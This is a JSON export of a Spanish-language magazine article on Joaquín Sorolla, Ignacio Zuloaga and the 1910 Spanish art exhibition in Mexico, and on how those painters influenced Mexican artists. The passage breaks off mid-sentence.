﻿{"id":5496,"date":"2015-03-03T17:00:08","date_gmt":"2015-03-03T23:00:08","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=5496"},"modified":"2026-04-29T01:24:45","modified_gmt":"2026-04-29T07:24:45","slug":"joaquin-sorolla-y-los-pintores-espanoles-en-la-otra-america","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/joaquin-sorolla-y-los-pintores-espanoles-en-la-otra-america\/","title":{"rendered":"Joaqu\u00edn Sorolla y los pintores espa\u00f1oles en la otra Am\u00e9rica"},"content":{"rendered":"<p style=\"text-align: justify;\">Roberto Fern\u00e1ndez Castro<br \/>\nFacultad de Filosof\u00eda y Letras, UNAM.<\/p>\n<h4 style=\"text-align: justify;\"><span style=\"color: #800000;\">En revista <em>BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam. 25.<\/span><\/h4>\n<p><img decoding=\"async\" class=\"size-full wp-image-16736 aligncenter\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2022\/12\/BotonPDF2-e1670355523220.png\" alt=\"\" width=\"87\" height=\"44\" \/><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"color: #808000;\">Para la primera d\u00e9cada del siglo XX el desarrollo de la pintura en M\u00e9xico encontr\u00f3 un impulso relevante en la Exposici\u00f3n Espa\u00f1ola de Artes e Industrias Decorativas de 1910. Sorolla fue el m\u00e1s encumbrado de los autores espa\u00f1oles, pero all\u00ed estaban tambi\u00e9n las obras de Ignacio Zuloaga, un artista de fuerte influencia en figuras emergentes como \u00c1ngel Z\u00e1rraga y Juan T\u00e9llez Hell\u00edn.<\/span><\/h3>\n<div class=\"mceTemp\"><\/div>\n<figure id=\"attachment_23821\" aria-describedby=\"caption-attachment-23821\" style=\"width: 800px\" class=\"wp-caption aligncenter\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-23821\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_007.jpg\" alt=\"\" width=\"800\" height=\"500\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_007.jpg 800w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_007-300x188.jpg 300w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_007-768x480.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption id=\"caption-attachment-23821\" class=\"wp-caption-text\">Joaqu\u00edn Sorolla, Playa de Valencia, sol de ma\u00f1ana, \u00f3leo sobre tela, 1901. Colecci\u00f3n P\u00e9rez Sim\u00f3n.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Las celebraciones del primer centenario de la independencia de los pa\u00edses hispanoamericanos brindaron la oportunidad de organizar diferentes actos con fines culturales y econ\u00f3micos en Chile, M\u00e9xico, Venezuela, Colombia y Argentina. Entre los actos oficiales y otros organizados por sociedades particulares, las exposiciones nacionales e internacionales de arte celebradas en M\u00e9xico y Argentina figuran entre las m\u00e1s importantes de principios del siglo XX, pues en ellas se encontraron obras de los artistas espa\u00f1oles m\u00e1s destacados de su tiempo y a quienes la mayor\u00eda de los americanos, incluyendo j\u00f3venes artistas, s\u00f3lo entonces tuvieron ocasi\u00f3n de apreciar por primera vez en persona y no s\u00f3lo a trav\u00e9s de las revistas ilustradas que llegaban desde Europa. Aunque cercanos por una historia y cultura compartidas durante centurias, a finales del siglo XIX los pueblos iberoamericanos se encontraban separados por el mar y distanciados a\u00fan m\u00e1s por motivos pol\u00edticos, pero encontraron un camino para reducir las divergencias nacidas de <i>la leyenda negra <\/i>que pesaba sobre la historia de la conquista espa\u00f1ola en Am\u00e9rica, reconocer de manera oficial las independencias e interpretar el hispanoamericanismo como un concepto hist\u00f3rico que, enriquecido con el concepto de la raza, ofreci\u00f3 entonces un firme baluarte como reacci\u00f3n al creciente imperialismo estadounidense.<\/p>\n<p style=\"text-align: justify;\">Aunque parece contradictorio que precisamente la celebraci\u00f3n de las independencias hispanoamericanas haya servido para volver a acercarlas a Espa\u00f1a, las paradojas de aquella empresa que culmin\u00f3 en 1910 est\u00e1n presentes en todos los \u00e1mbitos de nuestra historia; tambi\u00e9n en la historia del arte mexicano. A pesar de que ha transcurrido ya m\u00e1s de un siglo, por varias razones sigue siendo muy poco lo que se sabe acerca de la Exposici\u00f3n Espa\u00f1ola de Arte e Industrias Decorativas que se realiz\u00f3 en M\u00e9xico en septiembre de 1910 como parte de los festejos del primer centenario de la independencia.<\/p>\n<figure id=\"attachment_23833\" aria-describedby=\"caption-attachment-23833\" style=\"width: 800px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"size-full wp-image-23833\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_019.jpg\" alt=\"\" width=\"800\" height=\"528\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_019.jpg 800w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_019-300x198.jpg 300w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_019-768x507.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption id=\"caption-attachment-23833\" class=\"wp-caption-text\">Joaqu\u00edn Sorolla, Bueyes en la playa, gouache sobre papel, 1894. Colecci\u00f3n P\u00e9rez Sim\u00f3n.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">La idea original de Justo Sierra, ministro de Instrucci\u00f3n P\u00fablica y Bellas Artes desde 1905, apunt\u00f3 hacia una posible exposici\u00f3n organizada y patrocinada por la Rep\u00fablica Francesa y su colonia radicada en M\u00e9xico, la misma que tendr\u00eda como prop\u00f3sito dar a conocer al pueblo mexicano <i>el esp\u00edritu art\u00edstico de la Francia contempor\u00e1nea<\/i>, e incluir\u00eda para tal efecto, la construcci\u00f3n sobre la avenida Ju\u00e1rez de un edificio al estilo del <i>Petit Palais <\/i>o del <i>Grand Trianon<\/i>. Sin embargo, la falta de acuerdos entre los miembros de la colonia francesa, y de estos con el representante oficial de Francia en M\u00e9xico, oblig\u00f3 a Sierra a dirigirse entonces al embajador espa\u00f1ol Bernardo C\u00f3logan. Lo importante era que una exposici\u00f3n de arte e industrias de Espa\u00f1a, que contara con el patrocinio de la colonia espa\u00f1ola y el subsidio del gobierno mexicano, se difundiera p\u00fablicamente como iniciativa de la propia colonia.<\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La propuesta de Sierra no s\u00f3lo encontr\u00f3 terreno f\u00e9rtil entre los colonos espa\u00f1oles, que de hecho ya hab\u00edan constituido la Comisi\u00f3n Central Espa\u00f1ola del Centenario para unirse a los festejos, adem\u00e1s coincidi\u00f3 con la presencia en M\u00e9xico del arquitecto catal\u00e1n Miguel Bertr\u00e1n de Quintana, quien asumi\u00f3 con igual entusiasmo las responsabilidades de los asuntos pr\u00e1cticos de la exposici\u00f3n, la construcci\u00f3n del pabell\u00f3n que la albergar\u00eda y hasta viaj\u00f3 \u00e9l mismo a Espa\u00f1a para reunir lo mejor que en arte e industrias se encontrara en las principales ciudades espa\u00f1olas. En un recorrido de 26 d\u00edas y con el tiempo encima, la eficacia de Bertr\u00e1n cont\u00f3 con el apoyo tanto del ministro de Estado, Jos\u00e9 Canalejas y M\u00e9ndez, como de los acaudalados miembros de las delegaciones que la Comisi\u00f3n Central Espa\u00f1ola del Centenario de M\u00e9xico nombr\u00f3 en Espa\u00f1a. Bertr\u00e1n visit\u00f3 Madrid, Barcelona, Valencia, Sevilla, Oviedo, Santander, Bilbao y San Sebasti\u00e1n. Por si esto fuera poco, antes de su regreso a M\u00e9xico, viaj\u00f3 a Par\u00eds con el \u00fanico fin de entrevistarse con Ignacio Zuloaga y poder contar con algunas de sus obras en la exposici\u00f3n.\u00a0<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Justo Sierra tambi\u00e9n alent\u00f3 la propuesta de Gerardo Murillo (m\u00e1s conocido despu\u00e9s como el \u201cDr.\u00a0Atl\u201d) en cuanto a la constituci\u00f3n de la Sociedad de Pintores y Escultores que habr\u00edan de llevar a cabo una exposici\u00f3n de artistas mexicanos en 1910, considerada m\u00e1s tarde como el punto de partida de la pl\u00e1stica mexicana contempor\u00e1nea. Sin embargo, el apoyo econ\u00f3mico que brind\u00f3 para realizarla fue francamente pobre: a los artistas mexicanos les otorg\u00f3 una cantidad diez veces menor a la que el gobierno mexicano hab\u00eda concedido a la muestra de arte espa\u00f1ol.\u00a0<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Est\u00e1 claro que la exposici\u00f3n espa\u00f1ola, a diferencia de la mexicana, ocup\u00f3 el centro de atenci\u00f3n del r\u00e9gimen porfiriano. La colonia espa\u00f1ola en M\u00e9xico acept\u00f3 con gran entusiasmo la propuesta de Sierra de donar un terreno para edificar el pabell\u00f3n en la esquina de las avenidas Ju\u00e1rez y Balderas, as\u00ed como la suma de 35 000 pesos que para este fin fueron entregados en su oportunidad a don Jos\u00e9 S\u00e1nchez Ramos, presidente del Comit\u00e9 Espa\u00f1ol del Centenario. Por su parte, el gobierno espa\u00f1ol aport\u00f3 no s\u00f3lo las piezas a exhibir, sino tambi\u00e9n apoyo financiero para hacer de la muestra un acontecimiento memorable. Conocidos pintores mexicanos como Leandro Izaguirre y Saturnino Herr\u00e1n aprobaron con entusiasmo las bondades del proyecto. Es cierto que M\u00e9xico no pudo organizar una exposici\u00f3n universal o internacional para 1910 como ocurri\u00f3 en Argentina, pero precisamente por eso puede decirse que la exposici\u00f3n espa\u00f1ola cumpli\u00f3 en cierta medida con este papel, en el marco de las fiestas del primer centenario de la independencia.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<h3 style=\"text-align: center;\"><span style=\"color: #808000;\">Aprender de la escuela espa\u00f1ola\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La presencia de los maestros espa\u00f1oles en nuestro pa\u00eds constituy\u00f3 una oportunidad invaluable para enriquecer la formaci\u00f3n de los artistas mexicanos. As\u00ed, aunque ha sido un lugar com\u00fan en la historiograf\u00eda del arte mexicano considerar que la exposici\u00f3n de artistas nacionales se sustent\u00f3 en una actitud reivindicadora, de modo que la muestra de la Escuela Nacional de Bellas Artes se habr\u00eda realizado en contrapartida de la espa\u00f1ola y con plena conciencia de la injusticia oficial de celebrar el centenario de la independencia de M\u00e9xico con una muestra extranjera, queda claro que los artistas mexicanos de entonces no se cuestionaban la primac\u00eda del arte europeo y consideraron la muestra espa\u00f1ola como una oportunidad para conocer en persona las obras de los maestros consagrados en la pen\u00ednsula y estudiarlos.<\/span><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">En M\u00e9xico fue Ignacio Zuloaga quien tuvo un influjo mucho m\u00e1s poderoso a trav\u00e9s de pintores como \u00c1ngel Z\u00e1rraga y Juan T\u00e9llez Hell\u00edn, quienes viajaron a Europa y aprendieron de \u00e9l una pintura m\u00e1s filos\u00f3fica e interpretativa que simplemente realista o literaria. Pero adem\u00e1s, los cuadros de Zuloaga, como los del resto de los artistas espa\u00f1oles mencionados, se conocieron en M\u00e9xico, primero por conducto de las reproducciones fotogr\u00e1ficas que conten\u00edan las revistas de arte, y despu\u00e9s porque hubo la oportunidad de verlos en vivo en las diversas exposiciones que se fueron sucediendo a lo largo de la primera d\u00e9cada del siglo XX. Aunque la mayor\u00eda de ellas fueron modestas, finalmente culminaron en la Exposici\u00f3n Espa\u00f1ola del Centenario de 1910, que a\u00fan despu\u00e9s de abrir oficialmente sus puertas, recibi\u00f3 algunos contingentes retrasados, como el de Zuloaga, uno de los m\u00e1s esperados por el p\u00fablico, junto con otro que para nuestra mala fortuna nunca lleg\u00f3, el de Hermenegildo Anglada-Camarasa, pero cuyas escenas y paisajes valencianos de intensos colores dejaron una profunda huella en la creatividad de Roberto Montenegro.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La inauguraci\u00f3n, que se verific\u00f3 el 9 de septiembre de 1910, fue presidida por el presidente Porfirio D\u00edaz, y gracias a esta exposici\u00f3n el gobierno mexicano, por conducto de Justo Sierra y Antonio Rivas Mercado, director de la Escuela Nacional de Bellas Artes, adquiri\u00f3 un selecto grupo de obras con el fin de enriquecer las colecciones de la Academia de San Carlos, consolidando as\u00ed la presencia de la escuela espa\u00f1ola moderna como un modelo permanente para los estudiantes del primer cuarto del siglo\u00a0<\/span><span data-contrast=\"none\">XX<\/span><span data-contrast=\"auto\">. Los campesinos, marineros y artesanos pintados por Zuloaga y Zubiaurre, comparten una caracter\u00edstica profunda con los ind\u00edgenas y aldeanos que se encuentran en las pinturas de Herr\u00e1n, como su apego a modos de vida ancestrales, remanentes de un pasado arcaico, destinado a perecer ante el empuje irrefrenable de la modernidad. Por ello mismo resultaban figuras simb\u00f3licas muy atrayentes\u00a0para un tiempo poblado de nostalgias, como lo fue el fin de siglo.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Trascendiendo la imitaci\u00f3n de una moda iconogr\u00e1fica, los artistas mexicanos percibieron puntos de semejanza entre el inmovilismo cultural de aquellas rezagadas comarcas europeas y las costumbres centenarias de nuestros pueblos, y tal vez entre las arduas condiciones de vida que les impon\u00eda a unos y a otros la pobreza reinante, porque entre los rasgos que vuelven peculiares numerosos ejemplos del costumbrismo que se practicaba en el arte mexicano alrededor de 1910 se halla una acusada conciencia hasta entonces in\u00e9dita, que muy bien podr\u00eda considerarse como realismo social. Al despuntar el siglo XX <\/span><span data-contrast=\"auto\">empezaron a aparecer en progresi\u00f3n acelerada escenas y figuras reveladoras de un arte m\u00e1s comprometido con las duras realidades sociales, que fueron producto m\u00e1s de los artistas pensionados en Europa que de los que aqu\u00ed resid\u00edan, siendo este el caso emblem\u00e1tico de Rafael Ponce de Le\u00f3n, que si bien falleci\u00f3 a causa de la tuberculosis con apenas 25 a\u00f1os, hizo comparecer en sus dibujos a vendedores ambulantes, m\u00fasicos callejeros, mendigos, mutilados, enfermos y pobres amantes parisienses.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Un caso muy especial en esta historia fue el de \u00c1ngel\u00a0Z\u00e1rraga, quien al escribir en 1907 acerca de los pintores espa\u00f1oles contempor\u00e1neos que pudo ver en B\u00e9lgica y en Francia, no tard\u00f3 en identificarse con los j\u00f3venes de la pen\u00ednsula y comenz\u00f3 a exponer formando grupo con ellos. Ram\u00f3n del Valle Incl\u00e1n, con quien el pintor mexicano hab\u00eda trabado relaci\u00f3n gracias a una recomendaci\u00f3n de Joaqu\u00edn Sorolla, contribuy\u00f3 a su aclimataci\u00f3n y aceptaci\u00f3n en los medios literarios y art\u00edsticos\u00a0madrile\u00f1os. Aun as\u00ed, el\u00a0sorollismo\u00a0y su paradigm\u00e1tica versi\u00f3n de la\u00a0<\/span><i><span data-contrast=\"auto\">Espa\u00f1a blanca<\/span><\/i><span data-contrast=\"auto\">, parecen haber causado poca impresi\u00f3n en el joven\u00a0Z\u00e1rraga, quien al decantarse por la visi\u00f3n de la\u00a0<\/span><i><span data-contrast=\"auto\">Espa\u00f1a negra<\/span><\/i><span data-contrast=\"auto\">\u00a0de\u00a0Regoyos\u00a0y, sobre todo de Zuloaga, tom\u00f3 partido en la pol\u00e9mica que en aquel momento enfrentaba a los intelectuales, escritores y artistas de la Espa\u00f1a de principios del siglo\u00a0<\/span><span data-contrast=\"none\">XX<\/span><span data-contrast=\"auto\">.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<h3 style=\"text-align: center;\"><span style=\"color: #808000;\">Modernos y genuinos\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">En Espa\u00f1a se viv\u00eda un clima de desencanto y pesimismo sobre el presente y el futuro de la naci\u00f3n, causado por el\u00a0<\/span><i><span data-contrast=\"auto\">desastre\u00a0<\/span><\/i><span data-contrast=\"auto\">de 1898, cuando, derrotada en la guerra con Estados Unidos, Espa\u00f1a perdi\u00f3 Cuba y sus posesiones coloniales en Am\u00e9rica y Filipinas. Fue entonces cuando se difundi\u00f3 una polarizada concepci\u00f3n de Espa\u00f1a, asociando lo blanco y lo negro con una espec\u00edfica diferenciaci\u00f3n territorial y simb\u00f3lica: lo blanco, con la Espa\u00f1a del sur y del Levante, que entra\u00f1aba una visi\u00f3n optimista y jubilosa ligada con la huerta y la playa, las festividades urbanas y rurales, como las ferias y romer\u00edas, las corridas de toros, los bailes populares y el mundo del flamenco: la Espa\u00f1a de charanga y pandereta denigrada por Antonio Machado pero recreada por los luminosos pinceles de Sorolla. Por contraste, lo negro se correspond\u00eda con la Espa\u00f1a del centro y el norte: austera, m\u00edstica y cristiana, que encontraba su paralelismo pict\u00f3rico en la torturada y oscura obra de Zuloaga. Por supuesto, semejante polaridad irreductible era enga\u00f1osa, y la propia pintura de Sorolla no siempre elude el drama social como lo prueban sus cuadros de\u00a0<\/span><i><span data-contrast=\"auto\">Triste herencia, Trata de blancas<\/span><\/i><span data-contrast=\"auto\">\u00a0y\u00a0<\/span><i><span data-contrast=\"auto\">Otra Margarita<\/span><\/i><span data-contrast=\"auto\">, pero la gente del 98 no perd\u00eda ocasi\u00f3n de subrayar y denostar la supuesta frivolidad y superficialidad del valenciano. Falsa imagen que habr\u00eda de pesar sobre su obra hasta las \u00faltimas d\u00e9cadas del siglo\u00a0<\/span><span data-contrast=\"none\">XX<\/span><span data-contrast=\"auto\">.<\/span><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La pregunta que muchos de ellos se planteaban era la de \u00bfc\u00f3mo ser modernos sin dejar de ser profunda y genuinamente espa\u00f1oles? Cre\u00edan que las ra\u00edces de lo castizo hab\u00eda que ir a buscarlas en el subsuelo de la vida cotidiana, en los h\u00e1bitos, costumbres y creencias ancestrales preservadas sobre todo en los pueblos y el medio rural, y muy en especial entre la gente humilde. A lo largo de casi todo el siglo XIX <\/span><span data-contrast=\"auto\">los temas costumbristas fueron de los asuntos m\u00e1s caracter\u00edsticos de las artes pl\u00e1sticas, incluso entre los artistas acad\u00e9micos, demasiado apegados a la jerarquizaci\u00f3n de los g\u00e9neros y, por tanto, obstinados en mantener una actitud de relativo desd\u00e9n hacia este g\u00e9nero art\u00edstico. Esto propici\u00f3, sin embargo, que el mercado art\u00edstico de los particulares quedara abierto a la pintura costumbrista y a la escultura, que tambi\u00e9n adopt\u00f3 este asunto con toda su diversidad.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Los a\u00f1os finales del siglo XIX <\/span><span data-contrast=\"auto\">fueron una \u00e9poca en que se recrearon los tipos locales, a los que se pretend\u00eda captar con gran intensidad y rodeados de signos de identidad ambiental y social que aparecieran como la s\u00edntesis del alma del terru\u00f1o. Algunos pintores espa\u00f1oles gozaron entonces de gran celebridad por su maestr\u00eda al expresarse de esta manera. Tal es el caso del citado Ignacio Zuloaga, cuyas curtidas figuras de campesinos y mujeres de los pueblos se plantan mirando directamente al espectador y contrastando con el horizonte de las desoladas tierras castellanas a sus espaldas. Pero lo mismo pasa con los hermanos Valent\u00edn y Ram\u00f3n Zubiaurre y sus personajes representativos de la vida vasca, o el llamado\u00a0<\/span><i><span data-contrast=\"auto\">cantor del alma cordobesa<\/span><\/i><span data-contrast=\"auto\">, Julio Romero de Torres, que tanto habr\u00eda de inspirar a Saturnino Herr\u00e1n por sus figuras femeninas salidas de un realismo po\u00e9tico.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Estas son las razones de la propia historia del arte hisp\u00e1nico y su internacionalizaci\u00f3n que, tras el predominio del arte de vanguardia, desacredit\u00f3 y conden\u00f3 a d\u00e9cadas de olvido la mayor parte de la producci\u00f3n art\u00edstica de finales del siglo XIX <\/span><span data-contrast=\"auto\">y principios del\u00a0<\/span><span data-contrast=\"none\">XX<\/span><span data-contrast=\"auto\">. Algunos de aquellos artistas, como Ignacio Zuloaga, Jos\u00e9 Guti\u00e9rrez Solana y Dar\u00edo de\u00a0Regoyos, fueron incluso satanizados como retr\u00f3grados por representar la miseria y la marginaci\u00f3n de la\u00a0<\/span><i><span data-contrast=\"auto\">Espa\u00f1a negra<\/span><\/i><span data-contrast=\"auto\">. Pero en M\u00e9xico, como ha quedado dicho, la historiograf\u00eda posrevolucionaria tambi\u00e9n interpret\u00f3 falsamente la exposici\u00f3n espa\u00f1ola como un desatino de la pol\u00edtica cultural porfiriana y como otro acto\u00a0<\/span><i><span data-contrast=\"auto\">extranjerizante<\/span><\/i><span data-contrast=\"auto\">\u00a0de\u00a0<\/span><i><span data-contrast=\"auto\">xenofilia<\/span><\/i><span data-contrast=\"auto\">\u00a0y\u00a0<\/span><i><span data-contrast=\"auto\">malinchismo<\/span><\/i><span data-contrast=\"auto\">\u00a0por parte del gobierno mexicano.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<h3 style=\"text-align: center;\"><span style=\"color: #808000;\">Caminos paralelos\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Ignacio Zuloaga y Joaqu\u00edn Sorolla no s\u00f3lo pasaban entonces por su momento de mayor popularidad, adem\u00e1s ocupaban un sitio especial en el gusto mexicano y argentino. Al menos entre 1888 y 1911, Sorolla ejecut\u00f3 numerosos encargos solicitados desde Argentina, aunque estos fueron cada vez menos a partir de 1909 y terminaron a finales de 1911, cuando el pintor concert\u00f3 un contrato con la\u00a0Hispanic\u00a0Society\u00a0of\u00a0America. A pesar de que Sorolla sigui\u00f3 conservando la amistad de don Jos\u00e9 Artal, el gran financiero tarraconense afincado en Buenos Aires, marchante y promotor de la pintura espa\u00f1ola contempor\u00e1nea por todo el cono sur, con ese acuerdo pr\u00e1cticamente sell\u00f3 su relaci\u00f3n con el resto de Hispanoam\u00e9rica. A diferencia de Zuloaga, las obras que ilustran la presencia de Sorolla en M\u00e9xico pertenecen a la etapa de culminaci\u00f3n de su propio desenvolvimiento art\u00edstico, la etapa en que se vuelve cosmopolita; viaja constantemente a Par\u00eds y all\u00ed conoce los distintos movimientos de la vanguardia europea. Los\u00a0<\/span><i><span data-contrast=\"auto\">ismos<\/span><\/i><span data-contrast=\"auto\">\u00a0irrumpen en su pintura, utilizando sus caracter\u00edsticas ejecuciones en busca de nuevas\u00a0formulaciones de la\u00a0luz: es el triunfo del\u00a0<\/span><i><span data-contrast=\"auto\">luminismo<\/span><\/i><span data-contrast=\"auto\">, donde la luz lo inunda todo gracias a una paleta muy brillante apoyada en la sabia utilizaci\u00f3n de los blancos. Fue en la tercera exposici\u00f3n internacional de Sorolla, instalada en 1908 en las\u00a0Grafton\u00a0Galleries, donde el artista valenciano comenz\u00f3 su fruct\u00edfera amistad con\u00a0Archer\u00a0Milton Huntington, el hombre que consigui\u00f3 los medios necesarios para que su cuarta exposici\u00f3n viajara a Estados Unidos durante el invierno y la primavera de 1909, present\u00e1ndose, desde luego, primero en la\u00a0Hispanic\u00a0Society\u00a0of\u00a0America\u00a0de Nueva York, y despu\u00e9s en la\u00a0Buffalo\u00a0Fine\u00a0Arts\u00a0Academy\u00a0y en la Copley\u00a0Society\u00a0de Boston. El \u00e9xito fue total por la cr\u00edtica, las ventas excepcionales y la asistencia de personas a la exposici\u00f3n de Nueva York. Lo mismo que John Singer Sargent,\u00a0Anders\u00a0Zorn\u00a0y Giovanni\u00a0Boldini, tanto Zuloaga como Sorolla recibieron a partir de entonces numerosos encargos para pintar retratos de la alta sociedad americana.<\/span><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Si bien es cierto que en M\u00e9xico se conoc\u00eda a Sorolla de tiempo atr\u00e1s, su presencia en el pa\u00eds queda enmarcada entonces dentro de los \u00e9xitos cosechados en Estados Unidos entre 1909 y 1911. El gusto por su pintura se acrecent\u00f3 gracias a su participaci\u00f3n en la Exposici\u00f3n Espa\u00f1ola de Artes e Industrias Decorativas de 1910. Los comerciantes de arte hab\u00edan despertado el inter\u00e9s por el artista espa\u00f1ol en los coleccionistas mexicanos desde finales del siglo XIX. Por eso, la exposici\u00f3n no fue ni de museo ni de competencia de excelencias, sino que todas las obras enviadas estaban destinadas a la venta y hubo quienes compraron piezas que se han conservado, pasando de una generaci\u00f3n a otra, dentro de colecciones privadas mexicanas. Todav\u00eda es mucho lo que nos falta por saber de aquel pasado nuestro. Un a\u00f1o despu\u00e9s de la Exposici\u00f3n Espa\u00f1ola de Artes e Industrias Decorativas de M\u00e9xico, una vez iniciada la revoluci\u00f3n, el general Porfirio D\u00edaz fue retratado por Sorolla en 1911, durante su exilio en Par\u00eds. <\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">En su adolescencia,\u00a0Archer\u00a0Milton Huntington acompa\u00f1\u00f3 a su padre, Collins Potter Huntington, en un viaje de negocios a M\u00e9xico, y cenaron con el presidente D\u00edaz, quien por entonces se hallaba en los primeros a\u00f1os de su largo mandato. Aquel viaje fue una de las experiencias que impulsaron al joven Huntington a iniciar su carrera como hispanista. Cuando Huntington, Sorolla y D\u00edaz coincidieron en Par\u00eds en diciembre de 1911, el estadunidense encarg\u00f3 el retrato del general mexicano en el que se muestra de manera destacada la orden espa\u00f1ola de Carlos III. El lienzo de Sorolla forma parte todav\u00eda hoy de la colecci\u00f3n de la\u00a0Hispanic\u00a0Society\u00a0of\u00a0America\u00a0de Nueva York, y lo atesora con la cl\u00e1usula especial de que nunca ser\u00e1 prestado ni saldr\u00e1 de all\u00ed. Tal fue la importancia que Huntington le concedi\u00f3 dentro de su colecci\u00f3n, que el retrato fue firmado y fechado por el propio Porfirio D\u00edaz.\u00a0<\/span><\/p>\n<figure id=\"attachment_23822\" aria-describedby=\"caption-attachment-23822\" style=\"width: 663px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-23822\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_008.jpg\" alt=\"\" width=\"663\" height=\"800\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_008.jpg 663w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/04\/BiC_25_008-249x300.jpg 249w\" sizes=\"(max-width: 663px) 100vw, 663px\" \/><figcaption id=\"caption-attachment-23822\" class=\"wp-caption-text\">Julio Romero de Torres, Retrato de una dama, \u00f3leo sobre tela, 1925. Colecci\u00f3n P\u00e9rez Sim\u00f3n.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La\u00a0Hispanic\u00a0Society\u00a0of\u00a0America\u00a0de Nueva York ha sido desde entonces la\u00a0instituci\u00f3n que m\u00e1s y mejor ha difundido la obra de Sorolla en todo el continente americano. Sin embargo, el nombre y la obra de este notable pintor, junto a los de toda una generaci\u00f3n de artistas espa\u00f1oles del cambio de siglo, forman 